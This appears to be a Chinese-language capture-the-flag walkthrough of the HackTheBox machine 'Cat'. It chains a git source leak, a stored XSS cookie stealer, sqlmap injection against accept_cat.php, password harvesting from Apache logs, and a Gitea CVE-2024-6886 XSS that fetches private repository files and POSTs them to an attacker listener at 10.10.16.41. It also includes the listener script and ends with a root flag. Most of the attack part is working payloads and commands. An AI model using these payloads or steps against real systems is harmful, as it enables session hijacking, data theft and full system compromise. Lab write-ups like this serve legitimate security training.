Cat

端口扫描

image-20250219231359684

目录扫描

添加 ip-域名 映射

echo "10.10.11.53	cat.htb" >> /etc/hosts

扫描目录,发现git源码泄露

dirsearch -u http://cat.htb/

image-20250219231257210

获取源码

githacker --url http://cat.htb/  --output-folder ./git
或
git-dumper http://cat.htb/ ./git

代码审计

利用seay进行代审

image-20250219233232858

文件上传有过滤无法利用,SQL注入存在明显漏洞,存在于accept_cat.php中,但需要admin用户

在admin.php中发现,管理员为axel

if (!isset($_SESSION['username']) || $_SESSION['username'] !== 'axel') {
    header("Location: /join.php");
    exit();
}

还有一个审核cat的功能

<div class="container">
    <h1>My Cats</h1>
    <?php foreach ($cats as $cat): ?>
        <div class="cat-card">
            <img src="<?php echo htmlspecialchars($cat['photo_path']); ?>" alt="<?php echo htmlspecialchars($cat['cat_name']); ?>" class="cat-photo">
            <div class="cat-info">
                <strong>Name:</strong> <?php echo htmlspecialchars($cat['cat_name']); ?><br>
            </div>
            <button class="view-button" onclick="window.location.href='/view_cat.php?cat_id=<?php echo htmlspecialchars($cat['cat_id']); ?>'">View</button>
            <button class="accept-button" onclick="acceptCat('<?php echo htmlspecialchars($cat['cat_name']); ?>', <?php echo htmlspecialchars($cat['cat_id']); ?>)">Accept</button>
            <button class="reject-button" onclick="rejectCat(<?php echo htmlspecialchars($cat['cat_id']); ?>)">Reject</button>
        </div>
    <?php endforeach; ?>
</div>

href追踪到view_cat.php,发现竟然是直接echo的cat信息,如果有bot访问的话可以xss

<div class="container">
    <h1>Cat Details: <?php echo $cat['cat_name']; ?></h1>
    <img src="<?php echo $cat['photo_path']; ?>" alt="<?php echo $cat['cat_name']; ?>" class="cat-photo">
    <div class="cat-info">
        <strong>Name:</strong> <?php echo $cat['cat_name']; ?><br>
        <strong>Age:</strong> <?php echo $cat['age']; ?><br>
        <strong>Birthdate:</strong> <?php echo $cat['birthdate']; ?><br>
        <strong>Weight:</strong> <?php echo $cat['weight']; ?> kg<br>
        <strong>Owner:</strong> <?php echo $cat['username']; ?><br>
        <strong>Created At:</strong> <?php echo $cat['created_at']; ?>
    </div>
</div>

对猫咪的输入信息有过滤

    $cat_name = $_POST['cat_name'];
    $age = $_POST['age'];
    $birthdate = $_POST['birthdate'];
    $weight = $_POST['weight'];

    $forbidden_patterns = "/[+*{}',;<>()\\[\\]\\/\\:]/";

    // Check for forbidden content
    if (contains_forbidden_content($cat_name, $forbidden_patterns) ||
        contains_forbidden_content($age, $forbidden_patterns) ||
        contains_forbidden_content($birthdate, $forbidden_patterns) ||
        contains_forbidden_content($weight, $forbidden_patterns)) {
        $error_message = "Your entry contains invalid characters.";
    }

$cat['username']是直接从数据库中取出,无过滤

#admin.php
$stmt = $pdo->prepare("SELECT * FROM cats");
$stmt->execute();
$cats = $stmt->fetchAll(PDO::FETCH_ASSOC);

#config.php
<?php
// Database configuration
$db_file = '/databases/cat.db';

// Connect to the database
try {
    $pdo = new PDO("sqlite:$db_file");
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
    die("Error: " . $e->getMessage());
}
?>

#join.php
// Login process
if ($_SERVER["REQUEST_METHOD"] == "GET" && isset($_GET['loginForm'])) {
    $username = $_GET['loginUsername'];
    $password = md5($_GET['loginPassword']);

    $stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
    $stmt->execute([':username' => $username]);
    $user = $stmt->fetch(PDO::FETCH_ASSOC);

    if ($user && $password === $user['password']) {
        $_SESSION['username'] = $user['username'];
        header("Location: /");
        exit();
    } else {
        $error_message = "Incorrect username or password.";
    }
}
?>

由此,可以注册时在用户名处注入xss语句

<script>location.href="http://10.10.16.41:8000/?token="+document.cookie</script>

image-20250220030250761

然后提交一个cat信息供axel审核

image-20250220030507880

监听抓取cookie

python -m http.server

image-20250220030722938

替换cookie登入admin

image-20250220030756563

这里便是admin审核猫咪通过的地方

image-20250220030841082

再去提交一个猫就可以看到了,不过很快会被bot处理掉

回到一开始存在sql注入的地方,便是上图的Accept按钮

点击抓包,设置*注入点

POST /accept_cat.php HTTP/1.1
Host: cat.htb
Accept: */*
Origin: http://cat.htb
Referer: http://cat.htb/admin.php
Cookie: PHPSESSID=fo6lcbbqfavtmhvpvldkmde37g
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0
Accept-Encoding: gzip, deflate
Content-Length: 17

catName=c0o0t*&catId=1

sqlmap

在config.php中可以得知数据库为sqlite

sqlmap -r 1 --level 5 --threads 10 --dbms=sqlite --dump --batch

image-20250220043411490

Decrypt MD5, SHA1, MySQL, NTLM, SHA256, MD5 Email, SHA256 Email, SHA512, Wordpress, Bcrypt hashes for free online查询发现只有rosa能查到soyunaprincesarosa

image-20250220043635763

尝试ssh成功登陆,提示You have mail.,无法sudo,不过id发现属于adm组

adm(系统组,GID=4,通常用于日志访问)

可以读取 /var/log 下的系统日志

ssh rosa@cat.htb
rosa@cat:~$ sudo -l
[sudo] password for rosa:
Sorry, user rosa may not run sudo on cat.
rosa@cat:~$ id
uid=1001(rosa) gid=1001(rosa) groups=1001(rosa),4(adm)

查看mail,发现本地开了个3000端口

/var/mail

From axel@cat.htb  Wed Feb 19 20:20:15 2025
Return-Path: <axel@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
        by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 51JKKFNt006840
        for <rosa@cat.htb>; Wed, 19 Feb 2025 20:20:15 GMT
Received: (from axel@localhost)
        by cat.htb (8.15.2/8.15.2/Submit) id 51JKKFab006839
        for rosa@localhost; Wed, 19 Feb 2025 20:20:15 GMT
Date: Wed, 19 Feb 2025 20:20:15 GMT
From: axel <axel@cat.htb>
Message-Id: <202502192020.51JKKFab006839@cat.htb>
Subject: My New Project

Hi Jobert,

Here is my project repo:http://localhost:3000/axel/a

再查看一下passwd,发现还有axel、jobert和Mail用户

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
axel:x:1000:1000:axel:/home/axel:/bin/bash
rosa:x:1001:1001:,,,:/home/rosa:/bin/bash
git:x:114:119:Git Version Control,,,:/home/git:/bin/bash
smmta:x:115:120:Mail Transfer Agent,,,:/var/lib/sendmail:/usr/sbin/nologin
smmsp:x:116:121:Mail Submission Program,,,:/var/lib/sendmail:/usr/sbin/nologin
jobert:x:1002:1002:,,,:/home/jobert:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false

日志泄露

想到之前登录全是GET明文传输,直接查看web日志记录

cat /var/log/apache2/access.log|grep pass -i

发现大量bot登录记录

127.0.0.1 - - [19/Feb/2025:20:45:51 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"

成功登录axel

image-20250220045048461

拿到mail,依旧提到了3000的服务

axel@cat:/var/mail$ cat axel
From rosa@cat.htb  Sat Sep 28 04:51:50 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
        by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592
        for <axel@cat.htb>; Sat, 28 Sep 2024 04:51:50 GMT
Received: (from rosa@localhost)
        by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591
        for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT
Date: Sat, 28 Sep 2024 04:51:49 GMT
From: rosa@cat.htb
Message-Id: <202409280451.48S4pnlT001591@cat.htb>
Subject: New cat services

Hi Axel,

We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.

Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.

From rosa@cat.htb  Sat Sep 28 05:05:28 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
        by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268
        for <axel@cat.htb>; Sat, 28 Sep 2024 05:05:28 GMT
Received: (from rosa@localhost)
        by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267
        for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT
Date: Sat, 28 Sep 2024 05:05:28 GMT
From: rosa@cat.htb
Message-Id: <202409280505.48S55Sm0002267@cat.htb>
Subject: Employee management

We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.

端口映射

利用ssh将靶机本地服务映射到攻击机上

ssh -L 3000:localhost:3000 rosa@cat.htb -fN

访问localhost:3000发现是Gitea v1.22.0

搜索一番发现CVE-2024-6886

https://www.exploit-db.com/exploits/52077,又是一个xss

image-20250220063941518

axel:aNdZwgC4tI9gnVXv_e3Q可以登录,发现仓库里空空如也,邮件里提到的/administrator/Employee-management/页面也是404,可能是没有权限

邮件里还提到给jobert发邮件他会查看axel的仓库,结合之前的CVE又是一个xss

image-20250220204153522

右上角加号创建一个新仓库,在描述处插入xss语句,获取Employee-management的内容

x不到cookie

<a href="javascript:fetch('/administrator/Employee-management/')
  .then(response => response.text())
  .then(data => fetch('http://10.10.16.41:8000/', {
    method: 'POST',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body: 'response=' + encodeURIComponent(data)
  }))
  .catch(error => console.error('Error:', error));">点击就送500w</a>

需要勾上初始化仓库

image-20250220203651775

搭一个xss接受服务

from http.server import HTTPServer, BaseHTTPRequestHandler
import sys
from urllib.parse import unquote

class RequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        """处理 GET 请求"""
        print(f"Received GET request from {self.client_address}: {self.path}")

        # 响应客户端
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"GET request received\n")

    def do_POST(self):
        """处理 POST 请求"""
        content_length = int(self.headers.get('Content-Length', 0))  # 获取 POST 数据长度
        post_data = self.rfile.read(content_length)  # 读取 POST 数据
        print(f"Received POST request from {self.client_address}:")
        print(unquote(post_data.decode('utf-8')))  # 解码并打印

        # 响应客户端
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"POST request received\n")

if __name__ == "__main__":
    host = "0.0.0.0"
    port = 8000 if len(sys.argv) < 2 else int(sys.argv[1])  # 允许从命令行指定端口
    server = HTTPServer((host, port), RequestHandler)
    print(f"Serving on {host}:{port}")
    server.serve_forever()

在攻击机启动服务

python xss.py 8000

准备好之后给j8发邮件

在靶机上

echo "http://localhost:3000/axel/n0o0b_give_u_500w" | sendmail -f "axel@localhost" "jobert@localhost"

收到一坨html代码,复制到html文件里浏览器查看

image-20250220203627549

x一下源码

<a href="javascript:fetch('/administrator/Employee-management/raw/branch/main/index.php')
  .then(response => response.text())
  .then(data => fetch('http://10.10.16.41:8000/', {
    method: 'POST',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body: 'response=' + encodeURIComponent(data)
  }))
  .catch(error => console.error('Error:', error));">点击就送500w</a>
<a href="javascript:fetch('/administrator/Employee-management/raw/branch/main/README.md')
  .then(response => response.text())
  .then(data => fetch('http://10.10.16.41:8000/', {
    method: 'POST',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body: 'response=' + encodeURIComponent(data)
  }))
  .catch(error => console.error('Error:', error));">点击就送500w</a>
<a href="javascript:fetch('/administrator/Employee-management/raw/branch/main/dashboard.php')
  .then(response => response.text())
  .then(data => fetch('http://10.10.16.41:8000/', {
    method: 'POST',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body: 'response=' + encodeURIComponent(data)
  }))
  .catch(error => console.error('Error:', error));">点击就送500w</a>

屏幕截图 2025-02-20 205247

x到了密码

image-20250220210912194

ssh连不上,直接su,拿到root用户

root@cat:/home/axel# cat ~/*
a39f453a8fececac4c819b9808ca30db